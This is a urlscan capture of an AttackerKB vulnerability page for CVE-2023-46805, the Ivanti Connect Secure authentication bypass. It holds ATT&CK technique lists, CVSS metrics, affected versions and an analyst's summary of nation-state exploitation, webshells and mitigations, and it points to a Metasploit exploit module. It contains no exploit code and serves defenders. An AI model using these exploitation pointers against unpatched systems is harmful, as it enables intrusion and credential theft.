attackerkb.com
Open in
urlscan Pro
34.196.20.75
Public Scan
Submitted URL: https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805?referrer=notificationEmail#rapid7-analysis
Effective URL: https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805?referrer=notificationEmail
Submission Tags: demotag1 demotag2 Search All
Submission: On February 22 via api from RU — Scanned from DE
Effective URL: https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805?referrer=notificationEmail
Submission Tags: demotag1 demotag2 Search All
Submission: On February 22 via api from RU — Scanned from DE
Form analysis
3 forms found in the DOMPOST /search
<form action="/search" method="POST" id="search-condensed-form">
<input type="hidden" name="gorilla.csrf.Token" value="jTCpVsjofozPmL8CoDhEzZi19ll6kNPQs88UB8Zv9P9JAEteMoOQyHmJO6wMnyriixv2znyhoQhSP3JAlTh8Bw==">
<input class="form-control nav-search" type="search" name="search" placeholder="Search..." aria-label="Search">
<button class="pseudo-search-button" type="submit"></button>
</form>
POST /search
<form id="search" class="form-inline" action="/search" method="POST">
<input type="hidden" name="gorilla.csrf.Token" value="jTCpVsjofozPmL8CoDhEzZi19ll6kNPQs88UB8Zv9P9JAEteMoOQyHmJO6wMnyriixv2znyhoQhSP3JAlTh8Bw==">
<input class="form-control nav-search" type="search" name="search" placeholder="Search..." aria-label="Search">
<button class="pseudo-search-button" type="submit"></button>
</form>
<form id="eitw-report-form" class="needs-validation" novalidate="">
<p class="report-exploited-description">AttackerKB users want to know this is information they can trust.<br> Help the community by indicating the source(s) of your knowledge:</p>
<ul>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_vendorAdvisory">
<label class="form-check-label" for="modal_vendorAdvisory">Vendor Advisory</label>
</div>
<div class="add-reference collapse" id="modal_vendorAdvisoryReferenceCollapse">
<label class="" for="modal_vendorAdvisoryReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_vendorAdvisoryReference" class="eitw-reference form-control" aria-describedby="vendorAdvisoryFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_governmentAlert">
<label class="form-check-label" for="modal_governmentAlert">Government or Industry Alert</label>
</div>
<div class="add-reference collapse" id="modal_governmentAlertReferenceCollapse">
<label class="" for="modal_governmentAlertReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_governmentAlertReference" class="eitw-reference form-control" aria-describedby="governmentAlertFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_threatFeed">
<label class="form-check-label" for="modal_threatFeed">Threat Feed</label>
</div>
<div class="add-reference collapse" id="modal_threatFeedReferenceCollapse">
<label class="" for="modal_threatFeedReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_threatFeedReference" class="eitw-reference form-control" aria-describedby="threatFeedFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_news">
<label class="form-check-label" for="modal_news">News Article or Blog</label>
</div>
<div class="add-reference collapse" id="modal_newsReferenceCollapse">
<label class="" for="modal_newsReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_newsReference" class="eitw-reference form-control" aria-describedby="newsFeedback">
</div>
</div>
</li>
<li>
<div class="form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_personallyObserved">
<label class="form-check-label" for="modal_personallyObserved">Exploitation personally observed in an environment (client, customer, employer, or personal environment)</label>
</div>
<div class="add-reference collapse" id="modal_personallyObservedReferenceCollapse">
<label class="" for="modal_personallyObservedReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_personallyObservedReference" class="eitw-reference form-control" aria-describedby="personallyObservedFeedback">
</div>
</div>
</li>
<li>
<div class="eitw-other-input-group form-check">
<input class="form-check-input eitw-checkbox" type="checkbox" value="" id="modal_eitwOther">
<label class="form-check-label" for="modal_eitwOther">Other:</label>
<div class="eitw-other-input">
<input type="text" id="modal_eitwOtherInput" class="eitw-required form-control" aria-describedby="eitwOtherInputFeedback" disabled="">
<div id="modal_eitwOtherInputFeedback" class="invalid-feedback"> Please explain the source of your report. </div>
</div>
</div>
<div class="add-reference collapse" id="modal_eitwOtherReferenceCollapse">
<label class="" for="modal_eitwOtherReference">Add a reference URL <span class="optional">(optional)</span>:</label>
<div class="add-reference-input">
<input type="text" id="modal_eitwOtherReference" class="eitw-reference form-control" aria-describedby="eitwOtherReferenceFeedback">
</div>
</div>
</li>
</ul>
</form>
Text Content
A Rapid7 Project * Activity Feed * Topics * About * Leaderboard * Log In Attacker Value VERY HIGH 6 CVE-2023-46805 6 CVE ID AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: CVE ID: ADD REFERENCES: ADVISORY Description: URL: Add Another EXPLOIT Description: URL: Add Another MITIGATION Description: URL: Add Another RELATED ATTACKERKB TOPIC Description: URL: Add Another MISCELLANEOUS Description: URL: Add Another Cancel Submit Attacker Value VERY HIGH (1 user assessed) Exploitability MODERATE (1 user assessed) User Interaction NONE Privileges Required NONE Attack Vector NETWORK 6 CVE-2023-46805 Disclosure Date: January 12, 2024 • (Last updated January 16, 2024) ▾ CVE-2023-46805 CVSS v3 Base Score: 8.2 Exploited in the Wild Reported by cbeek-r7 and 2 more... View Source Details Report As Exploited in the Wild MITRE ATT&CK Log in to add MITRE ATT&CK tag Add MITRE ATT&CK tactics and techniques that apply to this CVE. MITRE ATT&CK Select the MITRE ATT&CK Tactics that apply to this CVE Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlImpact COLLECTION Select any Techniques used: Data from Local System Data from Removable Media Data from Network Shared Drive Input Capture Input Capture: Keylogging Input Capture: GUI Input Capture Input Capture: Web Portal Capture Input Capture: Credential API Hooking Data Staged Data Staged: Local Data Staging Data Staged: Remote Data Staging Screen Capture Email Collection Email Collection: Local Email Collection Email Collection: Remote Email Collection Email Collection: Email Forwarding Rule Clipboard Data Automated Collection Audio Capture Video Capture Man in the Browser Data from Information Repositories Data from Information Repositories: Confluence Data from Information Repositories: Sharepoint Data from Cloud Storage Object Man-in-the-Middle Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay Archive Collected Data Archive Collected Data: Archive via Utility Archive Collected Data: Archive via Library Archive Collected Data: Archive via Custom Method COMMAND AND CONTROL Select any Techniques used: Data Obfuscation Data Obfuscation: Junk Data Data Obfuscation: Steganography Data Obfuscation: Protocol Impersonation Fallback Channels Application Layer Protocol Application Layer Protocol: Web Protocols Application Layer Protocol: File Transfer Protocols Application Layer Protocol: Mail Protocols Application Layer Protocol: DNS Proxy Proxy: Internal Proxy Proxy: External Proxy Proxy: Multi-hop Proxy Proxy: Domain Fronting Communication Through Removable Media Non-Application Layer Protocol Web Service Web Service: Dead Drop Resolver Web Service: Bidirectional Communication Web Service: One-Way Communication Multi-Stage Channels Ingress Tool Transfer Data Encoding Data Encoding: Standard Encoding Data Encoding: Non-Standard Encoding Traffic Signaling Traffic Signaling: Port Knocking Remote Access Software Dynamic Resolution Dynamic Resolution: Fast Flux DNS Dynamic Resolution: Domain Generation Algorithms Dynamic Resolution: DNS Calculation Non-Standard Port Protocol Tunneling Encrypted Channel Encrypted Channel: Symmetric Cryptography Encrypted Channel: Asymmetric Cryptography CREDENTIAL ACCESS Select any Techniques used: OS Credential Dumping OS Credential Dumping: LSASS Memory OS Credential Dumping: Security Account Manager OS Credential Dumping: NTDS OS Credential Dumping: LSA Secrets OS Credential Dumping: Cached Domain Credentials OS Credential Dumping: DCSync OS Credential Dumping: Proc Filesystem OS Credential Dumping: /etc/passwd and /etc/shadow Network Sniffing Input Capture Input Capture: Keylogging Input Capture: GUI Input Capture Input Capture: Web Portal Capture Input Capture: Credential API Hooking Brute Force Brute Force: Password Guessing Brute Force: Password Cracking Brute Force: Password Spraying Brute Force: Credential Stuffing Two-Factor Authentication Interception Forced Authentication Exploitation for Credential Access Steal Application Access Token Steal Web Session Cookie Unsecured Credentials Unsecured Credentials: Credentials In Files Unsecured Credentials: Credentials in Registry Unsecured Credentials: Bash History Unsecured Credentials: Private Keys Unsecured Credentials: Cloud Instance Metadata API Unsecured Credentials: Group Policy Preferences Credentials from Password Stores Credentials from Password Stores: Keychain Credentials from Password Stores: Securityd Memory Credentials from Password Stores: Credentials from Web Browsers Modify Authentication Process Modify Authentication Process: Domain Controller Authentication Modify Authentication Process: Password Filter DLL Modify Authentication Process: Pluggable Authentication Modules Man-in-the-Middle Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay Steal or Forge Kerberos Tickets Steal or Forge Kerberos Tickets: Golden Ticket Steal or Forge Kerberos Tickets: Silver Ticket Steal or Forge Kerberos Tickets: Kerberoasting DEFENSE EVASION Select any Techniques used: Direct Volume Access Rootkit Obfuscated Files or Information Obfuscated Files or Information: Binary Padding Obfuscated Files or Information: Software Packing Obfuscated Files or Information: Steganography Obfuscated Files or Information: Compile After Delivery Obfuscated Files or Information: Indicator Removal from Tools Masquerading Masquerading: Invalid Code Signature Masquerading: Right-to-Left Override Masquerading: Rename System Utilities Masquerading: Masquerade Task or Service Masquerading: Match Legitimate Name or Location Masquerading: Space after Filename Process Injection Process Injection: Dynamic-link Library Injection Process Injection: Portable Executable Injection Process Injection: Thread Execution Hijacking Process Injection: Asynchronous Procedure Call Process Injection: Thread Local Storage Process Injection: Ptrace System Calls Process Injection: Proc Memory Process Injection: Extra Window Memory Injection Process Injection: Process Hollowing Process Injection: Process Doppelgänging Process Injection: VDSO Hijacking Indicator Removal on Host Indicator Removal on Host: Clear Windows Event Logs Indicator Removal on Host: Clear Linux or Mac System Logs Indicator Removal on Host: Clear Command History Indicator Removal on Host: File Deletion Indicator Removal on Host: Network Share Connection Removal Indicator Removal on Host: Timestomp Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Modify Registry Trusted Developer Utilities Proxy Execution Trusted Developer Utilities Proxy Execution: MSBuild Access Token Manipulation Access Token Manipulation: Token Impersonation/Theft Access Token Manipulation: Create Process with Token Access Token Manipulation: Make and Impersonate Token Access Token Manipulation: Parent PID Spoofing Access Token Manipulation: SID-History Injection Deobfuscate/Decode Files or Information BITS Jobs Indirect Command Execution Traffic Signaling Traffic Signaling: Port Knocking Rogue Domain Controller Exploitation for Defense Evasion Signed Script Proxy Execution Signed Script Proxy Execution: PubPrn Signed Binary Proxy Execution Signed Binary Proxy Execution: Compiled HTML File Signed Binary Proxy Execution: Control Panel Signed Binary Proxy Execution: CMSTP Signed Binary Proxy Execution: InstallUtil Signed Binary Proxy Execution: Mshta Signed Binary Proxy Execution: Msiexec Signed Binary Proxy Execution: Odbcconf Signed Binary Proxy Execution: Regsvcs/Regasm Signed Binary Proxy Execution: Regsvr32 Signed Binary Proxy Execution: Rundll32 XSL Script Processing Template Injection File and Directory Permissions Modification File and Directory Permissions Modification: Windows File and Directory Permissions Modification File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification Execution Guardrails Execution Guardrails: Environmental Keying Group Policy Modification Virtualization/Sandbox Evasion Virtualization/Sandbox Evasion: System Checks Virtualization/Sandbox Evasion: User Activity Based Checks Virtualization/Sandbox Evasion: Time Based Evasion Unused/Unsupported Cloud Regions Pre-OS Boot Pre-OS Boot: System Firmware Pre-OS Boot: Component Firmware Pre-OS Boot: Bootkit Abuse Elevation Control Mechanism Abuse Elevation Control Mechanism: Setuid and Setgid Abuse Elevation Control Mechanism: Bypass User Access Control Abuse Elevation Control Mechanism: Sudo and Sudo Caching Abuse Elevation Control Mechanism: Elevated Execution with Prompt Use Alternate Authentication Material Use Alternate Authentication Material: Application Access Token Use Alternate Authentication Material: Pass the Hash Use Alternate Authentication Material: Pass the Ticket Use Alternate Authentication Material: Web Session Cookie Subvert Trust Controls Subvert Trust Controls: Gatekeeper Bypass Subvert Trust Controls: Code Signing Subvert Trust Controls: SIP and Trust Provider Hijacking Subvert Trust Controls: Install Root Certificate Modify Authentication Process Modify Authentication Process: Domain Controller Authentication Modify Authentication Process: Password Filter DLL Modify Authentication Process: Pluggable Authentication Modules Impair Defenses Impair Defenses: Disable or Modify Tools Impair Defenses: Disable Windows Event Logging Impair Defenses: HISTCONTROL Impair Defenses: Disable or Modify System Firewall Impair Defenses: Indicator Blocking Impair Defenses: Disable or Modify Cloud Firewall Hide Artifacts Hide Artifacts: Hidden Files and Directories Hide Artifacts: Hidden Users Hide Artifacts: Hidden Window Hide Artifacts: NTFS File Attributes Hide Artifacts: Hidden File System Hide Artifacts: Run Virtual Instance Hijack Execution Flow Hijack Execution Flow: DLL Search Order Hijacking Hijack Execution Flow: DLL Side-Loading Hijack Execution Flow: Dylib Hijacking Hijack Execution Flow: Executable Installer File Permissions Weakness Hijack Execution Flow: LD_PRELOAD Hijack Execution Flow: Path Interception by PATH Environment Variable Hijack Execution Flow: Path Interception by Search Order Hijacking Hijack Execution Flow: Path Interception by Unquoted Path Hijack Execution Flow: Services File Permissions Weakness Hijack Execution Flow: Services Registry Permissions Weakness Hijack Execution Flow: COR_PROFILER Modify Cloud Compute Infrastructure Modify Cloud Compute Infrastructure: Create Snapshot Modify Cloud Compute Infrastructure: Create Cloud Instance Modify Cloud Compute Infrastructure: Delete Cloud Instance Modify Cloud Compute Infrastructure: Revert Cloud Instance DISCOVERY Select any Techniques used: System Service Discovery Application Window Discovery Query Registry System Network Configuration Discovery Remote System Discovery System Owner/User Discovery Network Sniffing Network Service Scanning System Network Connections Discovery Process Discovery Permission Groups Discovery Permission Groups Discovery: Local Groups Permission Groups Discovery: Domain Groups Permission Groups Discovery: Cloud Groups System Information Discovery File and Directory Discovery Account Discovery Account Discovery: Local Account Account Discovery: Domain Account Account Discovery: Email Account Account Discovery: Cloud Account Peripheral Device Discovery System Time Discovery Network Share Discovery Password Policy Discovery Browser Bookmark Discovery Domain Trust Discovery Virtualization/Sandbox Evasion Virtualization/Sandbox Evasion: System Checks Virtualization/Sandbox Evasion: User Activity Based Checks Virtualization/Sandbox Evasion: Time Based Evasion Software Discovery Software Discovery: Security Software Discovery Cloud Service Discovery Cloud Service Dashboard EXECUTION Select any Techniques used: Windows Management Instrumentation Scheduled Task/Job Scheduled Task/Job: At (Linux) Scheduled Task/Job: At (Windows) Scheduled Task/Job: Cron Scheduled Task/Job: Launchd Scheduled Task/Job: Scheduled Task Command and Scripting Interpreter Command and Scripting Interpreter: PowerShell Command and Scripting Interpreter: AppleScript Command and Scripting Interpreter: Windows Command Shell Command and Scripting Interpreter: Unix Shell Command and Scripting Interpreter: Visual Basic Command and Scripting Interpreter: Python Command and Scripting Interpreter: JavaScript/JScript Software Deployment Tools Native API Shared Modules Exploitation for Client Execution User Execution User Execution: Malicious Link User Execution: Malicious File Inter-Process Communication Inter-Process Communication: Component Object Model Inter-Process Communication: Dynamic Data Exchange System Services System Services: Launchctl System Services: Service Execution EXFILTRATION Select any Techniques used: Exfiltration Over Other Network Medium Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth Automated Exfiltration Scheduled Transfer Data Transfer Size Limits Exfiltration Over C2 Channel Exfiltration Over Alternative Protocol Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol Exfiltration Over Physical Medium Exfiltration Over Physical Medium: Exfiltration over USB Transfer Data to Cloud Account Exfiltration Over Web Service Exfiltration Over Web Service: Exfiltration to Code Repository Exfiltration Over Web Service: Exfiltration to Cloud Storage IMPACT Select any Techniques used: Data Destruction Data Encrypted for Impact Service Stop Inhibit System Recovery Defacement Defacement: Internal Defacement Defacement: External Defacement Firmware Corruption Resource Hijacking Network Denial of Service Network Denial of Service: Direct Network Flood Network Denial of Service: Reflection Amplification Endpoint Denial of Service Endpoint Denial of Service: OS Exhaustion Flood Endpoint Denial of Service: Service Exhaustion Flood Endpoint Denial of Service: Application Exhaustion Flood Endpoint Denial of Service: Application or System Exploitation System Shutdown/Reboot Account Access Removal Disk Wipe Disk Wipe: Disk Content Wipe Disk Wipe: Disk Structure Wipe Data Manipulation Data Manipulation: Stored Data Manipulation Data Manipulation: Transmitted Data Manipulation Data Manipulation: Runtime Data Manipulation INITIAL ACCESS Select any Techniques used: Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Replication Through Removable Media External Remote Services Drive-by Compromise Exploit Public-Facing Application Supply Chain Compromise Supply Chain Compromise: Compromise Software Dependencies and Development Tools Supply Chain Compromise: Compromise Software Supply Chain Supply Chain Compromise: Compromise Hardware Supply Chain Trusted Relationship Hardware Additions Phishing Phishing: Spearphishing Attachment Phishing: Spearphishing Link Phishing: Spearphishing via Service LATERAL MOVEMENT Select any Techniques used: Remote Services Remote Services: Remote Desktop Protocol Remote Services: SMB/Windows Admin Shares Remote Services: Distributed Component Object Model Remote Services: SSH Remote Services: VNC Remote Services: Windows Remote Management Software Deployment Tools Taint Shared Content Replication Through Removable Media Exploitation of Remote Services Internal Spearphishing Use Alternate Authentication Material Use Alternate Authentication Material: Application Access Token Use Alternate Authentication Material: Pass the Hash Use Alternate Authentication Material: Pass the Ticket Use Alternate Authentication Material: Web Session Cookie Remote Service Session Hijacking Remote Service Session Hijacking: SSH Hijacking Remote Service Session Hijacking: RDP Hijacking Lateral Tool Transfer PERSISTENCE Select any Techniques used: Boot or Logon Initialization Scripts Boot or Logon Initialization Scripts: Logon Script (Windows) Boot or Logon Initialization Scripts: Logon Script (Mac) Boot or Logon Initialization Scripts: Network Logon Script Boot or Logon Initialization Scripts: Rc.common Boot or Logon Initialization Scripts: Startup Items Scheduled Task/Job Scheduled Task/Job: At (Linux) Scheduled Task/Job: At (Windows) Scheduled Task/Job: Cron Scheduled Task/Job: Launchd Scheduled Task/Job: Scheduled Task Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Account Manipulation Account Manipulation: Additional Azure Service Principal Credentials Account Manipulation: Exchange Email Delegate Permissions Account Manipulation: Add Office 365 Global Administrator Role Account Manipulation: SSH Authorized Keys External Remote Services Create Account Create Account: Local Account Create Account: Domain Account Create Account: Cloud Account Office Application Startup Office Application Startup: Office Template Macros Office Application Startup: Office Test Office Application Startup: Outlook Forms Office Application Startup: Outlook Home Page Office Application Startup: Outlook Rules Office Application Startup: Add-ins Browser Extensions BITS Jobs Traffic Signaling Traffic Signaling: Port Knocking Server Software Component Server Software Component: SQL Stored Procedures Server Software Component: Transport Agent Server Software Component: Web Shell Implant Container Image Pre-OS Boot Pre-OS Boot: System Firmware Pre-OS Boot: Component Firmware Pre-OS Boot: Bootkit Create or Modify System Process Create or Modify System Process: Launch Agent Create or Modify System Process: Systemd Service Create or Modify System Process: Windows Service Create or Modify System Process: Launch Daemon Event Triggered Execution Event Triggered Execution: Change Default File Association Event Triggered Execution: Screensaver Event Triggered Execution: Windows Management Instrumentation Event Subscription Event Triggered Execution: .bash_profile and .bashrc Event Triggered Execution: Trap Event Triggered Execution: LC_LOAD_DYLIB Addition Event Triggered Execution: Netsh Helper DLL Event Triggered Execution: Accessibility Features Event Triggered Execution: AppCert DLLs Event Triggered Execution: AppInit DLLs Event Triggered Execution: Application Shimming Event Triggered Execution: Image File Execution Options Injection Event Triggered Execution: PowerShell Profile Event Triggered Execution: Emond Event Triggered Execution: Component Object Model Hijacking Boot or Logon Autostart Execution Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Boot or Logon Autostart Execution: Authentication Package Boot or Logon Autostart Execution: Time Providers Boot or Logon Autostart Execution: Winlogon Helper DLL Boot or Logon Autostart Execution: Security Support Provider Boot or Logon Autostart Execution: Kernel Modules and Extensions Boot or Logon Autostart Execution: Re-opened Applications Boot or Logon Autostart Execution: LSASS Driver Boot or Logon Autostart Execution: Shortcut Modification Boot or Logon Autostart Execution: Port Monitors Boot or Logon Autostart Execution: Plist Modification Compromise Client Software Binary Hijack Execution Flow Hijack Execution Flow: DLL Search Order Hijacking Hijack Execution Flow: DLL Side-Loading Hijack Execution Flow: Dylib Hijacking Hijack Execution Flow: Executable Installer File Permissions Weakness Hijack Execution Flow: LD_PRELOAD Hijack Execution Flow: Path Interception by PATH Environment Variable Hijack Execution Flow: Path Interception by Search Order Hijacking Hijack Execution Flow: Path Interception by Unquoted Path Hijack Execution Flow: Services File Permissions Weakness Hijack Execution Flow: Services Registry Permissions Weakness Hijack Execution Flow: COR_PROFILER PRIVILEGE ESCALATION Select any Techniques used: Boot or Logon Initialization Scripts Boot or Logon Initialization Scripts: Logon Script (Windows) Boot or Logon Initialization Scripts: Logon Script (Mac) Boot or Logon Initialization Scripts: Network Logon Script Boot or Logon Initialization Scripts: Rc.common Boot or Logon Initialization Scripts: Startup Items Scheduled Task/Job Scheduled Task/Job: At (Linux) Scheduled Task/Job: At (Windows) Scheduled Task/Job: Cron Scheduled Task/Job: Launchd Scheduled Task/Job: Scheduled Task Process Injection Process Injection: Dynamic-link Library Injection Process Injection: Portable Executable Injection Process Injection: Thread Execution Hijacking Process Injection: Asynchronous Procedure Call Process Injection: Thread Local Storage Process Injection: Ptrace System Calls Process Injection: Proc Memory Process Injection: Extra Window Memory Injection Process Injection: Process Hollowing Process Injection: Process Doppelgänging Process Injection: VDSO Hijacking Exploitation for Privilege Escalation Valid Accounts Valid Accounts: Default Accounts Valid Accounts: Domain Accounts Valid Accounts: Local Accounts Valid Accounts: Cloud Accounts Access Token Manipulation Access Token Manipulation: Token Impersonation/Theft Access Token Manipulation: Create Process with Token Access Token Manipulation: Make and Impersonate Token Access Token Manipulation: Parent PID Spoofing Access Token Manipulation: SID-History Injection Group Policy Modification Create or Modify System Process Create or Modify System Process: Launch Agent Create or Modify System Process: Systemd Service Create or Modify System Process: Windows Service Create or Modify System Process: Launch Daemon Event Triggered Execution Event Triggered Execution: Change Default File Association Event Triggered Execution: Screensaver Event Triggered Execution: Windows Management Instrumentation Event Subscription Event Triggered Execution: .bash_profile and .bashrc Event Triggered Execution: Trap Event Triggered Execution: LC_LOAD_DYLIB Addition Event Triggered Execution: Netsh Helper DLL Event Triggered Execution: Accessibility Features Event Triggered Execution: AppCert DLLs Event Triggered Execution: AppInit DLLs Event Triggered Execution: Application Shimming Event Triggered Execution: Image File Execution Options Injection Event Triggered Execution: PowerShell Profile Event Triggered Execution: Emond Event Triggered Execution: Component Object Model Hijacking Boot or Logon Autostart Execution Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder Boot or Logon Autostart Execution: Authentication Package Boot or Logon Autostart Execution: Time Providers Boot or Logon Autostart Execution: Winlogon Helper DLL Boot or Logon Autostart Execution: Security Support Provider Boot or Logon Autostart Execution: Kernel Modules and Extensions Boot or Logon Autostart Execution: Re-opened Applications Boot or Logon Autostart Execution: LSASS Driver Boot or Logon Autostart Execution: Shortcut Modification Boot or Logon Autostart Execution: Port Monitors Boot or Logon Autostart Execution: Plist Modification Abuse Elevation Control Mechanism Abuse Elevation Control Mechanism: Setuid and Setgid Abuse Elevation Control Mechanism: Bypass User Access Control Abuse Elevation Control Mechanism: Sudo and Sudo Caching Abuse Elevation Control Mechanism: Elevated Execution with Prompt Hijack Execution Flow Hijack Execution Flow: DLL Search Order Hijacking Hijack Execution Flow: DLL Side-Loading Hijack Execution Flow: Dylib Hijacking Hijack Execution Flow: Executable Installer File Permissions Weakness Hijack Execution Flow: LD_PRELOAD Hijack Execution Flow: Path Interception by PATH Environment Variable Hijack Execution Flow: Path Interception by Search Order Hijacking Hijack Execution Flow: Path Interception by Unquoted Path Hijack Execution Flow: Services File Permissions Weakness Hijack Execution Flow: Services Registry Permissions Weakness Hijack Execution Flow: COR_PROFILER Submit Metasploit Module exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805 CISA KEV ListedCommon in enterpriseGives privileged accessObserved in nation state sponsored attacksUnauthenticatedVulnerable in default configuration TOPIC TAGS Select the tags that apply to this CVE (Assessment added tags are disabled and cannot be removed) What makes this of high-value to an attacker? Vulnerable in default configuration Unauthenticated Observed in ransomware attacks Observed in nation state sponsored attacks Gives privileged access Easy to weaponize Difficult to patch Common in enterprise CISA KEV Listed What makes this of low-value to an attacker? Vulnerable in uncommon configuration Requires user interaction Requires physical access Requires elevated access No useful access Difficult to weaponize Authenticated Submit DESCRIPTION An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks. See More See Less * Ratings & Analysis * Vulnerability Details * Analysis ADD ASSESSMENT Log in to add an Assessment 2 cbeek-r7 (94) January 11, 2024 10:43am UTC (1 month ago)• Edited 1 month ago ▾ RATINGS Attacker Value Very High Exploitability Medium CISA KEV ListedCommon in enterpriseGives privileged accessObserved in nation state sponsored attacksUnauthenticatedVulnerable in default configuration TECHNICAL ANALYSIS CVE-2023-46805 is an authentication bypass vulnerability found in the web component of Ivanti Connect Secure (ICS), which was previously known as Pulse Connect Secure and Ivanti Policy Secure. This vulnerability affects all supported versions of Ivanti ICS and Policy Secure 9.x and 22.x. Details of CVE-2023-46805: * The vulnerability allows an attacker to bypass control checks and access restricted resources. * It was exploited in the wild in a chained attack for unauthenticated remote code execution (RCE) as early as December 2023. * According to Volexity, a cybersecurity firm, the zero-day exploitation of these flaws was attributed to UTA0178, believed to be a Chinese nation-state level threat actor. * The attackers deployed webshells, including GLASSTOKEN, on both internet-facing and internal assets to maintain persistence on a network after compromise. Mitigation and Updates: * As of the latest information, Ivanti has not released a patch for this vulnerability. However, they provided a mitigation script that should be used immediately. * Ivanti announced that patches for this vulnerability would be released in a staggered schedule, with the first version targeted to be available in the week of 22 January 2024 and the final version by the week of 19 February 2024. * Users and administrators of affected product versions are advised to apply mitigation measures provided by Ivanti. Impact and Detection: * Attackers modified legitimate components of Ivanti Connect Secure, such as compcheck.cgi and lastauthserverused.js, to support execution of remote commands and credential theft. * Organizations can detect potential compromise through network traffic analysis, VPN device log analysis, and execution of the Integrity Checker Tool. Recommendation: * It is crucial for users and administrators to apply the current workarounds immediately and to update the systems once patches are released. * Monitoring for signs of compromise is recommended, including examining network traffic and VPN device logs. WOULD YOU ALSO LIKE TO DELETE YOUR EXPLOITED IN THE WILD REPORT? Delete Assessment Only Delete Assessment and Exploited in the Wild Report Log in to Add Reply See MoreSee Less CVSS V3 SEVERITY AND METRICS Data provided by the National Vulnerability Database (NVD) Base Score: 8.2 High Impact Score: 4.2 Exploitability Score: 3.9 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N Attack Vector (AV): Network Attack Complexity (AC): Low Privileges Required (PR): None User Interaction (UI): None Scope (S): Unchanged Confidentiality (C): High Integrity (I): Low Availability (A): None GENERAL INFORMATION Offensive Application Unknown Utility Class Unknown Ports Unknown OS Unknown Vulnerable Versions ICS 9.1R18 ICS 22.6R2 IPS 9.1R18 IPS 22.6R1 Prerequisites Unknown Discovered By Unknown PoC Author Unknown Metasploit Module Unknown Reporter Unknown VENDORS * ivanti PRODUCTS * connect secure 22.1, * connect secure 22.2, * connect secure 22.3, * connect secure 22.4, * connect secure 22.5, * connect secure 22.6, * connect secure 9.0, * connect secure 9.1, * policy secure 22.1, * policy secure 22.2, * policy secure 22.3, * policy secure 22.4, * policy secure 22.5, * policy secure 22.6, * policy secure 9.0, * policy secure 9.1 METASPLOIT MODULES exploit/linux/http/ivanti_connect_secure_rce_cve_2023_46805 (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb) EXPLOITED IN THE WILD Reported by: cbeek-r7 indicated source as Government or Industry Alert (https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/) Reported: January 11, 2024 10:40am UTC (1 month ago) • Edited 1 month ago WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT? Yes, delete this report inokii indicated sources as * Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog) * Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/01/10/cisa-adds-two-known-exploited-vulnerabilities-catalog) Reported: January 17, 2024 5:51am UTC (1 month ago) WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT? Yes, delete this report ccondon-r7 indicated source as Threat Feed (https://twitter.com/felixaime/status/1749454051601776979) Reported: January 27, 2024 8:08pm UTC (3 weeks ago) WOULD YOU LIKE TO DELETE THIS EXPLOITED IN THE WILD REPORT? Yes, delete this report REFERENCES CANONICAL CVE-2023-46805 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46805) ADVISORY CSA (https://www.csa.gov.sg/alerts-advisories/alerts/2024/al-2024-002) CISA (https://www.cisa.gov/news-events/alerts/2024/01/10/ivanti-releases-security-update-connect-secure-and-policy-secure-gateways) EXPLOIT https://github.com/rapid7/metasploit-framework/pull/18708 MISCELLANEOUS https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US 